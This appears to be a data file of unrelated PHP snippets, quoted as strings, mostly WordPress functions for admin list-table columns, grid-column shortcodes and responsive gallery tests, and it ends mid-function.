$this->cptWPDSCols->addColumn('content', 'Content', 2);\n \n //Add our content column content\n $this->cptWPDSCols->addColumnPostContent('content');\n \n //Add our content column content\n $this->cptWPDSCols->addColumnOptionData('content', 'site_url');\n \n //Reposition column\n $this->cptWPDSCols->reorderColumn('content', 1);\n }", "public function addColumns()\n {\n add_filter( 'manage_edit-' . $this->post_type . '_columns', array($this, 'editColumns') ) ; // Add or Remove a Column\n add_action( 'manage_' . $this->post_type . '_posts_custom_column', array($this, 'manageColumns') ); //Show and Modify Column Data\n add_filter( 'manage_edit-' . $this->post_type . '_sortable_columns', array($this, 'sortableColumns') ); // Flags sortable Columns\n add_action( 'load-edit.php', array($this, 'loadSortColumns') );\n }", "public function getColumnDefinition($column){ }", "function set_single_column() {\n\t$post_types = get_custom_post_types();\n\t// Comment the next 2 lines to exclude Page and Post.\n\t$post_types['page'] = 'page';\n\t$post_types['post'] = 'post';\n\n\tfunction single_column() {\n\t\treturn 1;\n\t}\n\n\tforeach ( $post_types as $post_type ) {\n\t\t$get_user_option_screen_layout = 'get_user_option_screen_layout_' . $post_type;\n\n\t\tadd_filter( $get_user_option_screen_layout, 'single_column');\n\t}\n}", "protected function addColumns()\n {\n parent::addColumns();\n\n foreach ($this->config['fields'] as $key => $values) {\n\n switch ($values['type']) {\n case 'text':\n $this->table->addColumn($key, 'string', array('length' => 256, 'default' => ''));\n break;\n case 'textarea':\n case 'select':\n $this->table->addColumn($key, 'text', array('default' => ''));\n break;\n case 'checkbox':\n $this->table->addColumn($key, 'boolean', array('default' => 0));\n break;\n default:\n $this->table->addColumn($key, 'text', array('default' => ''));\n }\n\n }\n }", "function wp_nav_menu_manage_columns()\n {\n }", "public function colWidth($column) {\n\t}", "function sc_column( $attr, $content='' ) {\n\t// size classes\n\t$size_xs = isset($attr['xs']) ? 'col-xs-' . $attr['xs'] : '';\n\t$size_sm = isset($attr['sm']) ? 'col-sm-' . $attr['sm'] : '';\n\t$size_md = isset($attr['md']) ? 'col-md-' . $attr['md'] : '';\n\t$size_lg = isset($attr['lg']) ? 'col-lg-' . $attr['lg'] : '';\n\n\t// offset classes\n\t$offset_xs = isset($attr['xs_offset']) ? 'col-xs-offset-' . $attr['xs_offset'] : '';\n\t$offset_sm = isset($attr['sm_offset']) ? 'col-sm-offset-' . $attr['sm_offset'] : '';\n\t$offset_md = isset($attr['md_offset']) ? 'col-md-offset-' . $attr['md_offset'] : '';\n\t$offset_lg = isset($attr['lg_offset']) ? 'col-lg-offset-' . $attr['lg_offset'] : '';\n\n\t// push classes\n\t$push_xs = isset($attr['xs_push']) ? 'col-xs-push-' . $attr['xs_push'] : '';\n\t$push_sm = isset($attr['sm_push']) ? 'col-sm-push-' . $attr['sm_push'] : '';\n\t$push_md = isset($attr['md_push']) ? 'col-md-push-' . $attr['md_push'] : '';\n\t$push_lg = isset($attr['lg_push']) ? 'col-lg-push-' . $attr['lg_push'] : '';\n\n\t// pull classes\n\t$pull_xs = isset($attr['xs_pull']) ? 'col-xs-pull-' . $attr['xs_pull'] : '';\n\t$pull_sm = isset($attr['sm_pull']) ? 'col-sm-pull-' . $attr['sm_pull'] : '';\n\t$pull_md = isset($attr['md_pull']) ? 'col-md-pull-' . $attr['md_pull'] : '';\n\t$pull_lg = isset($attr['lg_pull']) ? 'col-lg-pull-' . $attr['lg_pull'] : '';\n\n\t$extra_classes = isset($attr['class']) ? $attr['class'] : '';\n\t$inline_css = isset($attr['style']) ? $attr['style'] : '';\n\n\t$additional_classes = 'col';\n\t$all_classes = array(\n\t\t$additional_classes, $size_xs, $size_sm, $size_md,\n\t\t$size_lg, $offset_xs, $offset_sm, $offset_md,\n\t\t$offset_lg, $push_xs, $push_sm, $push_md, $push_lg,\n\t\t$pull_xs, $pull_sm, $pull_md, $pull_lg,\n\t\t$extra_classes\n\t);\n\t$all_classes_str = '';\n\n\tforeach ( $all_classes as $class ) {\n\t\tif ( $class != '' ) {\n\t\t\t$all_classes_str .= $class . ' ';\n\t\t}\n\t}\n\t$all_classes_str = trim( $all_classes_str );\n\tob_start();\n\t?>\n\t<div class=\"<?php echo $all_classes_str; ?>\" style=\"<?php echo $inline_css; ?>\">\n\t\t<?php echo do_shortcode( $content ); ?>\n\t</div>\n\t<?php\n\treturn ob_get_clean();\n}", "function add_custom_columns($column) \n {\n global $post;\n \n //var_dump($post);\n switch($column) {\n case 'shortcode':\n printf(\"[bbquote id='%s']\", $post->ID);\n break;\n case 'quote':\n echo $post->post_content;\n break;\n }\n }", "function scratch_SC_columns( $atts , $content = null ) {\n\t\n\t$output = '';\n\t\n\textract( shortcode_atts(\n\t\tarray(\n\t\t\t'device' => 'sm',\n\t\t\t'size' => '12'\n\t\t),\n\t\t$atts\n\t));\n\t\n\t$output .= '<div class=\"col-' . $device . '-' . $size . '\">';\n\t\t$output .= do_shortcode( $content );\n\t$output .= '</div>';\n\t\n\treturn $output;\n\n}", "public function custom_column( $column_name, $post_id ){\r\n if ($column_name == 'template') {\r\n $settings = $this->data->get_slider_settings($post_id);\r\n echo ucwords($settings['template']);\r\n }\r\n if ($column_name == 'images') {\r\n echo '<div style=\"text-align:center; max-width:40px;\">' . $this->data->get_slide_count( $post_id ) . '</div>';\r\n }\r\n if ($column_name == 'id') {\r\n $post = get_post($post_id);\r\n echo $post->post_name;\r\n }\r\n if ($column_name == 'shortcode') { \r\n $post = get_post($post_id);\r\n echo '[cycloneslider id=\"'.$post->post_name.'\"]';\r\n } \r\n }", "public function wp_nav_menu_manage_columns()\n {\n }", "function add_magazine_columns_css() {\n\tglobal $post;\n\tif ( is_singular() ) {\n\t\t$content = $post->post_content;\n\t\tif ( stristr( $content, '<!--column-->' ) ) {\n\t\t\t?>\n<!-- Magazine Columns CSS -->\n<style type='text/css'>\n#magazine-columns{margin:0 -20px;margin-bottom:1em;overflow:hidden}\n.column {float:left;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;padding:0 20px}\n.column.c2{width:50%}\n.column.c3{width:33.33%}\n.column.c4{width:25%}\n.column.c5{width:20%}\n.column p:first-child{margin-top:0}\n.column p:last-child{margin-bottom:0}\n.column img{max-width:100%;height:auto}\n</style>\n<!-- /Magazine Columns CSS -->\n\t\t\t<?php\n\t\t}\n\t}\n}", "public function display_admin_columns() {\n add_filter('manage_edit-comments_columns', array(&$this, 'add_comments_columns'));\n add_action('manage_comments_custom_column', array(&$this, 'add_comment_columns_content'), 10, 2);\n }", "function add_columns( $columns ) {\n\t$columns['layout'] = 'Layout';\n\treturn $columns;\n}", "abstract protected function columns();", "public function column_style() {\n\t\techo '<style>#registered{width: 7%}</style>';\n\t\techo '<style>#wp-last-login{width: 7%}</style>';\n\t\techo '<style>.column-wp_capabilities{width: 8%}</style>';\n\t\techo '<style>.column-blogname{width: 13%}</style>';\n\t\techo '<style>.column-primary_blog{width: 5%}</style>';\n\t}", "function wppb_add_extra_column_for_rf( $columns ){\r\n\t$columns['rf-shortcode'] = __( 'Shortcode', 'profile-builder' );\r\n\t\r\n\treturn $columns;\r\n}", "function register_columns() {\n\n\t\t$this->columns = array(\n\t 'cb' => '<input type=\"checkbox\" />',\n\t 'title' => __( 'Name', 'sudoh' ),\n\t 'example-column' => __( 'Example Column', 'sudoh' ),\n\t 'thumbnail' => __( 'Thumbnail', 'sudoh' )\n\t );\n\n\t return $this->columns;\n\n\t}", "public function column()\r\n {\r\n if (!empty($this->configs->column))\r\n return $this->configs->column;\r\n\r\n\r\n $return = [];\r\n \r\n $raws = Form::column();\r\n $columns = [];\r\n foreach ($raws as $key => $item) {\r\n $columns[$key] = $item(new FormDb());\r\n }\r\n foreach ($columns as $key => $item) {\r\n\r\n $return[$key] = function (FormDb $column) use ($key, $item) {\r\n\r\n /** @var FormDb $item */\r\n $column->title = $item->title;\r\n $column->widget = $item->widget;\r\n $column->value = $item->value;\r\n //start: MurodovMirbosit 05.10.2020\r\n $column->data = $item->data;\r\n $column->dbType = $item->dbType;\r\n $column->readonly = $item->readonly;\r\n $column->readonlyWidget = $item->readonlyWidget;\r\n $column->valueWidget = $item->valueWidget;\r\n $column->filterWidget = $item->filterWidget;\r\n $column->dynaWidget = $item->dynaWidget;\r\n $column->options = $item->options;\r\n $column->valueOptions = $item->valueOptions;\r\n $column->filterOptions = $item->filterOptions;\r\n $column->dynaOptions = $item->dynaOptions;\r\n $column->fkTable = $item->fkTable;\r\n $column->fkQuery = $item->fkQuery;\r\n $column->fkOrQuery = $item->fkOrQuery;\r\n $column->fkAttr = $item->fkAttr;\r\n $column->fkAndQuery = $item->fkAndQuery;\r\n $column->fkMulti = $item->fkMulti;\r\n $column->autoValue = $item->autoValue;\r\n $column->auto = $item->auto;\r\n //end 19lines\r\n return $column;\r\n };\r\n }\r\n\r\n\r\n return $return;\r\n\r\n\r\n }", "function columns($atts, $content = null){\t\t\t\n\t\treturn '<section class=\"columns row-fluid\">' . do_shortcode(trim($content)) . '</section>';\n\t\t\t\n\t}", "public function column()\r\n {\r\n if (!empty($this->configs->column))\r\n return $this->configs->column;\r\n\r\n return ZArrayHelper::merge(parent::column(), [\r\n \r\n 'user' => function (Form $column) {\r\n\r\n $column->title = Az::l('Пользователь');\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'amount' => function (Form $column) {\r\n\r\n $column->title = Az::l('Количество потоков');\r\n \r\n return $column;\r\n },\r\n \r\n \r\n \r\n\r\n\r\n\r\n ], $this->configs->replace);\r\n }", "function get_customizer_columns_user ()\t\r\n\t{\r\n\t\t\r\n\t\tglobal $xoouserultra;\r\n\t\t\r\n\t\t$cols = $this->get_amount_of_cols_by_template();\r\n\t\t\r\n\t\t$html = '';\r\n\t\t\r\n\t\t\r\n\t\t $dimension_style = $xoouserultra->userpanel->get_width_of_column($cols);\r\n\t\t\t\t\r\n\t\tif($cols==1 || $cols==2 || $cols==3)\r\n\t\t{\r\n\t\t\r\n\t\t\t$html .= ' <div class=\"col1\" '. $dimension_style.'> \r\n\t\t\t\t\t\t<h3 class=\"colname_widget\">'.__('Column 1','xoousers').'</h3> \r\n\t\t\t\t\t\t <ul class=\"droptrue\" id=\"uultra-prof-customizar-1\">\r\n\t\t\t\t\t\t\t\t\t \r\n\t\t\t\t\t\t '.$this->get_profile_column_widgets(1).'\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t</ul> \r\n\t\t\t\t\t </div>';\r\n\t\t}\r\n\t\t\t\t \r\n\t\tif($cols==2 || $cols==3)\r\n\t\t{\r\n\t\t\r\n\t\t\t$html .=' <div class=\"col2\" '. $dimension_style.'> \r\n\t\t\t\t\t\t<h3 class=\"colname_widget\">'. __('Column 2','xoousers').'</h3> \r\n\t\t\t\t\t\t <ul class=\"droptrue\" id=\"uultra-prof-customizar-2\">\r\n\t\t\t\t\t\t\t\t\t \r\n\t\t\t\t\t\t\t '.$this->get_profile_column_widgets(2).'\r\n\t\t\t\t\t\t </ul>\r\n\t\t\t\t\t\t\t\t \r\n\t\t\t\t\t\t</div>';\r\n\t\t}\t\t\t\r\n\t\t\t\t\t\r\n\t\tif($cols==3)\r\n\t\t{\r\n\t\t\r\n\t\t\t$html .='<div class=\"col3\" '. $dimension_style.'> \r\n\t\t\t\t\t\t\t\t \r\n\t\t\t\t\t <h3 class=\"colname_widget\">'.__('Column 3','xoousers').'</h3> \r\n\t\t\t\t\t\t <ul class=\"droptrue\" id=\"uultra-prof-customizar-3\">\r\n\t\t\t\t\t\t\t\t '.$this->get_profile_column_widgets(3).'\r\n\t\t\t\t\t\t\t </ul>\r\n\t\t\t\t\t\t\t\t \r\n\t\t\t\t\t </div>';\r\n\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t$html .= $this->uultra_plugin_editor_form();\t\t \r\n\t\t\r\n\t\treturn $html;\r\n\t\r\n\t\r\n\t}", "function test_responsive_galleries_shortcode_atts_gallery_1_column() {\n\t\t$original = array(\n\t\t\t'size' => 'thumbnail',\n\t\t\t'columns' => 1,\n\t\t\t'link' => 'none',\n\t\t);\n\n\t\t$expected = array(\n\t\t\t'size' => 'responsive_gallery_1col',\n\t\t\t'columns' => 1,\n\t\t\t'link' => 'file',\n\t\t);\n\n\t\t$this->assertSame( $expected, BU\\Themes\\Responsive_Framework\\Galleries\\shortcode_atts_gallery( $original ) );\n\t}", "public function addPreviewColumn($id);", "public function gridify(Column $column);", "function addCommentsCustomColumn($cols) {\n \t$cols['lepress-grade'] = __('Grade', lepress_textdomain);\n \treturn $cols;\n }", "function mc_start_table_responsive_wrapper() {\n echo '<div class=\"table-responsive\">';\n}", "function foool_partner_custom_columns_render($column_name, $post_id){\n\n switch ($column_name) {\n case 'thumb' : \n // Display Thumbnail\n $partner_thumbnail = wp_get_attachment_image_src(get_post_thumbnail_id($post_id),'large');\n if (!empty($partner_thumbnail))\n echo '<img src=\"'.$partner_thumbnail[0].'\" alt=\"\" style=\"max-width:100%;\"/>';\n break;\n }\n}", "public function modelColumn();", "public function makeColumns(){\n $hijosDetalle=$this->\n getReportedetalle()->\n where(['and', \"esdetalle='1'\", \"visiblecampo='1'\"])->\n orderBy('orden')->all();\n //echo count( $hijosDetalle);die();\n $columns=[];\n foreach($hijosDetalle as $fila){\n $columns[]=[\n 'attribute'=>$fila->nombre_campo,\n 'label'=>$fila->aliascampo,\n 'format'=>'raw',\n 'options'=>['width'=>\n $this->sizePercentCampo($fila->nombre_campo).'%'],\n ];\n \n \n }\n return $columns;\n \n }", "public function setWidth(int $width): ModelDataTableColumnInterface;", "function addColumn($defaults) { \n $defaults['template'] = 'Template'; \n return $defaults; \n }", "public function getName()\n {\n return 'grid_column';\n }", "public function updateResponsiveDefinition($site_id, $page_id, $id, $column_type, $size)\n {\n $sql = \"UPDATE \n `user_site_page_structure_column_responsive` \n INNER JOIN \n `designer_column_type` ON \n `user_site_page_structure_column_responsive`.`column_type_id` = `designer_column_type`.`id`\n SET \n `size` = :size\n WHERE \n `user_site_page_structure_column_responsive`.`site_id` = :site_id AND \n `user_site_page_structure_column_responsive`.`page_id` = :page_id AND \n `user_site_page_structure_column_responsive`.`column_id` = :column_id AND \n `designer_column_type`.`column_type` = :column_type\";\n $stmt = $this->_db->prepare($sql);\n $stmt->bindValue(':site_id', $site_id);\n $stmt->bindValue(':page_id', $page_id);\n $stmt->bindValue(':column_id', $id);\n $stmt->bindValue(':column_type', $column_type);\n $stmt->bindValue(':size', $size);\n\n return $stmt->execute();\n }", "function add_thumbnail_column( $cols ) {\n\t\tif ( ! isset( $_GET['post_type'] ) ) {\n\t\t\treturn $cols;\n\t\t} // if()\n\n\t\t$post_type = $_GET['post_type'];\n\t\t$correct_post_type = $this->is_current_post_type( $post_type );\n\t\t$supports_thumbnail = post_type_supports( get_post_type(), 'thumbnail' );\n\t\tif ( ! $this->disable_image_column and $correct_post_type and $supports_thumbnail ) {\n\t\t\t$cols['sn_post_thumb'] = __( $this->featured_image_title );\n\t\t} // if()\n\t\treturn $cols;\n\t}", "function tradeoff_column($definition)\n {\n return app(Models\\Problem\\Column::class)->setData($definition);\n }", "function add_futurninews_columns($cols){\n\treturn array(\n\t\t'cb' \t\t=> '<input type=\"checkbox\" />;',\n\t\t'title' \t=> 'Title',\n\t\t'heading'\t=> 'Heading',\n\t\t'date'\t\t=> 'Date'\n\t);\n}", "function testimonials_columns( $column, $post_id ) {\n\tswitch ( $column ) {\n\t\tcase 'testimonial':\n\t\t\tthe_excerpt();\n\t\t\tbreak;\n\t}\n}", "function add_columns_init() {\r\n\r\n\t\t// don't add the column for any taxonomy that has specifically\r\n\t\t// disabled showing the admin column when registering the taxonomy\r\n\t\tif( ! isset( $this->tax_obj->show_admin_column ) || ! $this->tax_obj->show_admin_column )\r\n\t\t\treturn;\r\n\r\n\t\t// also grab all the post types the tax is registered to\r\n\t\tif( isset( $this->tax_obj->object_type ) && is_array( $this->tax_obj->object_type ) ) foreach ( $this->tax_obj->object_type as $post_type ){\r\n\r\n\t\t\t//add some hidden data that we'll need for the quickedit\r\n\t\t\tadd_filter( \"manage_{$post_type}_posts_columns\", array( $this, 'add_tax_columns' ) );\r\n\t\t\tadd_action( \"manage_{$post_type}_posts_custom_column\", array( $this, 'custom_tax_columns' ), 99, 2);\r\n\r\n\t\t}\r\n\r\n\t}", "public function column_plugins($blog)\n {\n }", "function foool_partner_add_column($columns){\n\n $custom_columns = array();\n foreach($columns as $key => $title) {\n\n if ($key=='title') {\n $custom_columns['thumb'] = 'Visuel';\n $custom_columns[$key] = $title;\n } else { \n $custom_columns[$key] = $title;\n }\n }\n return $custom_columns;\n}", "static function getColumns()\n {\n }", "function test_responsive_galleries_shortcode_atts_gallery_5_column() {\n\t\t$original = array(\n\t\t\t'size' => 'thumbnail',\n\t\t\t'columns' => 5,\n\t\t\t'link' => 'none',\n\t\t);\n\n\t\t$expected = array(\n\t\t\t'size' => 'responsive_gallery_5col_up',\n\t\t\t'columns' => 5,\n\t\t\t'link' => 'file',\n\t\t);\n\n\t\t$this->assertSame( $expected, BU\\Themes\\Responsive_Framework\\Galleries\\shortcode_atts_gallery( $original ) );\n\t}", "function wpcampus_process_col_shortcode( $args, $content = null ) {\n\n\t// Make sure there's content to wrap.\n\tif ( ! $content ) {\n\t\treturn null;\n\t}\n\n\t// Process args.\n\t$defaults = array(\n\t\t'small' => '12',\n\t\t'medium' => false,\n\t\t'large' => false,\n\t);\n\t$args = wp_parse_args( $args, $defaults );\n\n\t// Setup column classes.\n\t$column_classes = array();\n\n\tforeach ( array( 'small', 'medium', 'large' ) as $size ) {\n\n\t\t// If a value was passed, make sure its a number.\n\t\tif ( ! empty( $args[ $size ] ) && ! is_numeric( $args[ $size ] ) && ! is_int( $args[ $size ] ) ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Add the class.\n\t\t$column_classes[] = \"{$size}-\" . $args[ $size ];\n\n\t}\n\n\treturn '<div class=\"' . implode( ' ', $column_classes ) . ' columns\">' . do_shortcode( $content ) . '</div>';\n}", "function wp_regenthumbs_stamina_columns($defaults) {\r\n\t$defaults['regenthumbs-stamina'] = 'RegenThumbs Stamina';\r\n\treturn $defaults;\r\n}", "function set_video_screen_columns( $columns ) {\n $columns['video'] = 1;\n return $columns;\n}", "function extamus_screen_layout_columns($columns) {\n $columns['dashboard'] = 1;\n return $columns;\n }", "function custom_columns( $columns ) {\n\t$columns = array(\n\t\t'cb' => '<input type=\"checkbox\" />',\n\t\t'title' => 'Title',\n\t\t'featured_image' => 'Photo',\n\t\t'date' => 'Date'\n\t);\n\treturn $columns;\n}", "function product_image_attachment_columns($columns) {\n $columns['product-custom-scope'] = __(\"Custom Scope\");\n return $columns;\n}", "function test_responsive_galleries_shortcode_atts_gallery_8_column() {\n\t\t$original = array(\n\t\t\t'size' => 'thumbnail',\n\t\t\t'columns' => 8,\n\t\t\t'link' => 'none',\n\t\t);\n\n\t\t$expected = array(\n\t\t\t'size' => 'responsive_gallery_5col_up',\n\t\t\t'columns' => 8,\n\t\t\t'link' => 'file',\n\t\t);\n\n\t\t$this->assertSame( $expected, BU\\Themes\\Responsive_Framework\\Galleries\\shortcode_atts_gallery( $original ) );\n\t}", "function product_finder_column( $columns, $column, $id ) {\n\tif ( 'pf_thumb' === $column ) {\n\t\tif (get_term_meta( $id, 'image', true )) {\n\t\t\t$image = get_term_meta( $id, 'image', true );\n\t\t} else {\n\t\t\t$image = wc_placeholder_img_src();\n\t\t}\n\t\t$image = str_replace( ' ', '%20', $image );\n\t\t$columns .= '<img src=\"' . esc_url( $image ) . '\" class=\"wp-post-image\" height=\"48\" width=\"48\" />';\n\t}\n\treturn $columns;\n}", "function wooadmin_so_screen_layout_columns( $columns ) {\n $columns['dashboard'] = 1;\n return $columns;\n}", "function lbcb_add_swatch_column( $columns ){\n\t$columns = array( \"cb\" => '<input type=\"checkbox\" />',\n\t\t\t\"title\"=> \"Title\", \n\t\t\t\"swatches\" => \"Swatches\",\n\t\t\t\"tags\" => \"Tags\",\n\t\t\t\"type\" => \"Type\",\n\t\t\t\"link\" => \"Link\",\n\t\t\t\"comments\" => '<div class=\"vers\"><img alt=\"Comments\" src=\"' . site_url() . '/wp-admin/images/comment-grey-bubble.png\" /></div>',\n\t\t\t\"date\" => \"Date\" );\n\treturn $columns;\n}", "public function getColumnConfig();", "function col_class($width)\n{\n return 'col-md-' . round($width / 8.333);\n}", "protected function _createColumnQuery()\n\t{\n\t\n\t}", "function manage_units_columns( $column ) {\n\t\n\t\tglobal $post;\n\n\t\tswitch( $column ) {\n\n\t\t\tcase 'rent' :\n\n\t\t\t\t$rent = get_post_meta( $post->ID, 'rent', true );\n\t\t\t\tif (!empty($rent)) {\n\t\t\t\t\tprintf( __( '$%s' ), $rent );\n\t\t\t\t} else {\n\t\t\t\t\tprintf( '<i class=\"fa fa-exclamation-circle\"></i>' );\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase 'status' :\n\n\t\t\t\t$status = get_post_meta( $post->ID, 'status', true );\n\t\t\t\tprintf( $status );\n\n\t\t\t\tbreak;\n\n\t\t\tdefault :\n\t\t\t\tbreak;\n\t\t}\n\t}", "public function custom_column($column)\n\t\t{\n\t\t\tglobal $post;\n\n\t\t\tswitch ($column) {\n\t\t\t\tcase \"offer_thumbnail\":\n\t\t\t\t\tif (has_post_thumbnail()) {\n\t\t\t\t\t\tthe_post_thumbnail('50x50');\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"offer_types\":\n\t\t\t\t\techo get_the_term_list($post->ID, 'offer-types', '', ', ', '');\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"offer_order\":\n\t\t\t\t\techo esc_attr($post->menu_order);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}", "function manage_posts_columns($columns) {\n\t$columns['recommend_post'] = __('Recommend post', 'tcd-w');\n\treturn $columns;\n}", "function gssettings_settings_layout_columns( $columns, $screen ) {\n global $_gssettings_settings_pagehook;\n if ( $screen == $_gssettings_settings_pagehook ) {\n $columns[$_gssettings_settings_pagehook] = 1;\n }\n return $columns;\n }", "function wp_admin_viewport_meta()\n {\n }", "protected function applySizeClass(){\n foreach($this->getSizes() as $name => $size){\n $this->addClass($name . '-' . $size);\n }\n\n $this->addClass('column');\n\n return $this;\n }", "function columns_data( $column ) {\r\n\r\n\t\tglobal $post, $wp_taxonomies;\r\n\r\n\t\tswitch( $column ) {\r\n\t\t\tcase \"listing_thumbnail\":\r\n\t\t\t\tprintf( '<p>%s</p>', genesis_get_image( array( 'size' => 'thumbnail' ) ) );\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"listing_details\":\r\n\t\t\t\tforeach ( (array) $this->property_details['col1'] as $label => $key ) {\r\n\t\t\t\t\tprintf( '<b>%s</b> %s<br />', esc_html( $label ), esc_html( get_post_meta($post->ID, $key, true) ) );\r\n\t\t\t\t}\r\n\t\t\t\tforeach ( (array) $this->property_details['col2'] as $label => $key ) {\r\n\t\t\t\t\tprintf( '<b>%s</b> %s<br />', esc_html( $label ), esc_html( get_post_meta($post->ID, $key, true) ) );\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"listing_features\":\r\n\t\t\t\techo get_the_term_list( $post->ID, 'features', '', ', ', '' );\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"listing_categories\":\r\n\t\t\t\tforeach ( (array) get_option( $this->settings_field ) as $key => $data ) {\r\n\t\t\t\t\tprintf( '<b>%s:</b> %s<br />', esc_html( $data['labels']['singular_name'] ), get_the_term_list( $post->ID, $key, '', ', ', '' ) );\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\r\n\t}", "function add_magazine_columns( $content ) {\n\tif ( stristr( $content, '<!--column-->' ) && is_singular() ) {\n\t\t$col_content = $content;\n\t\t$content = '';\n\t\tif ( stristr( $col_content, '<!--startcolumns-->' ) ) {\n\t\t\t$topcontent = explode( '<!--startcolumns-->', $col_content );\n\t\t\t$col_content = $topcontent[1];\n\n\t\t\tif ( stristr( $col_content, '<!--stopcolumns-->' ) ) {\n\t\t\t\t$bottomcontent = explode( '<!--stopcolumns-->', $col_content );\n\t\t\t\t$col_content = $bottomcontent[0];\n\t\t\t}\n\t\t}\n\n\t\t$col_content = explode( '<!--column-->', $col_content );\n\t\t$count = count( $col_content );\n\n\t\tif ( ! empty( $topcontent[0] ) ) {\n\t\t\t$top = explode( '<br />', $topcontent[0] );\n\t\t\t$i = count( $top );\n\t\t\t$top[$i-1] .= '</p>' . \"\\n\";\n\t\t\t$content .= implode( '', $top );\n\t\t}\n\n\t\t$content .= '<div id=\"magazine-columns\">';\n\n\t\tforeach( $col_content as $column ) {\n\t\t\t$output = '<div class=\"column c' . esc_attr( $count ) . '\">' . $column . '</div>';\n\t\t\t$output = str_replace( '<div class=\"column c' . esc_attr( $count ) . '\"><br />', '<div class=\"column c' . esc_attr( $count ) . '\"><p>', $output );\n\t\t\t$content .= $output;\n\t\t}\n\n\t\t$content .= '</div>';\n\n\t\tif ( ! empty( $bottomcontent[1] ) ) {\n\t\t\t$bottom = explode( '<br />', $bottomcontent[1] );\n\t\t\t$bottom[0] = '<p>' . $bottom[0];\n\t\t\t$content .= implode( '', $bottom );\n\t\t}\n\t}\n\treturn str_replace( '<p></p>', '', $content );\n}", "function sb_slideshow_custom_columns( $column, $post_id ) {\n\tswitch( $column ) {\n\t\tcase 'id':\n\t\t\techo $post_id;\n\t\tbreak;\n\t\tcase 'shortcode':\n\t\t\techo sb_slideshow_embed_input( $post_id );\n\t\tbreak;\n\t}\n}", "function settings( $form, $id ) {\n\tif ( 'rich-text' !== $id ) {\n\t\treturn $form;\n\t}\n\t$form['general']['sections']['columns'] = [\n\t\t'title' => __( 'Columns', 'hnf' ),\n\t\t'fields' => [\n\t\t\t'columns' => [\n\t\t\t\t'type' => 'unit',\n\t\t\t\t'label' => __( 'Column Count', 'hnf' ),\n\t\t\t\t'maxlength' => '2',\n\t\t\t\t'size' => '3',\n\t\t\t\t'responsive' => [\n\t\t\t\t\t'default' => [\n\t\t\t\t\t\t'default' => '1',\n\t\t\t\t\t\t'medium' => '1',\n\t\t\t\t\t\t'responsive' => '1'\n\t\t\t\t\t]\n\t\t\t\t],\n\t\t\t\t'preview' => [\n\t\t\t\t\t'type' => 'css',\n\t\t\t\t\t'selector' => '.fl-rich-text',\n\t\t\t\t\t'property' => 'column-count',\n\t\t\t\t\t'unit' => ''\n\t\t\t\t]\n\t\t\t],\n\t\t\t'column_gap' => [\n\t\t\t\t'type' => 'unit',\n\t\t\t\t'label' => __( 'Column Gap', 'hnf' ),\n\t\t\t\t'maxlength' => '2',\n\t\t\t\t'size' => '3',\n\t\t\t\t'description' => 'px',\n\t\t\t\t'responsive' => [\n\t\t\t\t\t'default' => [\n\t\t\t\t\t\t'default' => '10',\n\t\t\t\t\t\t'medium' => '10',\n\t\t\t\t\t\t'responsive' => '10'\n\t\t\t\t\t]\n\t\t\t\t],\n\t\t\t\t'preview' => [\n\t\t\t\t\t'type' => 'css',\n\t\t\t\t\t'selector' => '.fl-rich-text',\n\t\t\t\t\t'property' => 'column-gap',\n\t\t\t\t\t'unit' => 'px'\n\t\t\t\t]\n\t\t\t],\n\t\t\t'column_rule_width' => [\n\t\t\t\t'type' => 'unit',\n\t\t\t\t'label' => __( 'Column Rule Width', 'hnf' ),\n\t\t\t\t'maxlength' => '2',\n\t\t\t\t'size' => '3',\n\t\t\t\t'description' => 'px',\n\t\t\t\t'responsive' => [\n\t\t\t\t\t'default' => [\n\t\t\t\t\t\t'default' => '0',\n\t\t\t\t\t\t'medium' => '0',\n\t\t\t\t\t\t'responsive' => '0'\n\t\t\t\t\t]\n\t\t\t\t],\n\t\t\t\t'preview' => [\n\t\t\t\t\t'type' => 'css',\n\t\t\t\t\t'selector' => '.fl-rich-text',\n\t\t\t\t\t'property' => 'column-rule-width',\n\t\t\t\t\t'unit' => 'px'\n\t\t\t\t]\n\t\t\t],\n\t\t\t'column_rule_type' => [\n\t\t\t\t'type' => 'select',\n\t\t\t\t'label' => __( 'Column Rule Style', 'hnf' ),\n\t\t\t\t'default' => 'solid',\n\t\t\t\t'options' => [\n\t\t\t\t\t'none' => __( 'None', 'hnf' ),\n\t\t\t\t\t'solid' => __( 'Solid', 'hnf' ),\n\t\t\t\t\t'dotted' => __( 'Dotted', 'hnf' ),\n\t\t\t\t\t'dashed' => __( 'Dashed', 'hnf' ),\n\t\t\t\t\t'double' => __( 'Double', 'hnf' ),\n\t\t\t\t\t'groove' => __( 'Groove', 'hnf' ),\n\t\t\t\t\t'ridge' => __( 'Ridge', 'hnf' ),\n\t\t\t\t\t'inset' => __( 'Inset', 'hnf' ),\n\t\t\t\t\t'outset' => __( 'Outset', 'hnf' )\n\t\t\t\t],\n\t\t\t\t'preview' => [\n\t\t\t\t\t'type' => 'css',\n\t\t\t\t\t'selector' => '.fl-rich-text',\n\t\t\t\t\t'property' => 'column-rule-style',\n\t\t\t\t\t'unit' => ''\n\t\t\t\t]\n\t\t\t],\n\t\t\t'column_rule_color' => [\n\t\t\t\t'type' => 'color',\n\t\t\t\t'label' => __( 'Column Rule Color', 'hnf' ),\n\t\t\t\t'default' => '#58595B',\n\t\t\t\t'preview' => [\n\t\t\t\t\t'type' => 'css',\n\t\t\t\t\t'selector' => '.fl-rich-text',\n\t\t\t\t\t'property' => 'column-rule-color'\n\t\t\t\t]\n\t\t\t]\n\t\t]\n\t];\n\treturn $form;\n}", "public function getResponsiveCss(): string;", "function inox_add_thumbnail_columns( $columns ) {\n $columns = array(\n\t\t'cb' => '<input type=\"checkbox\" />',\n\t\t'featured_thumb' => 'Thumbnail',\n\t\t'title' => 'Title',\n\t\t'author' => 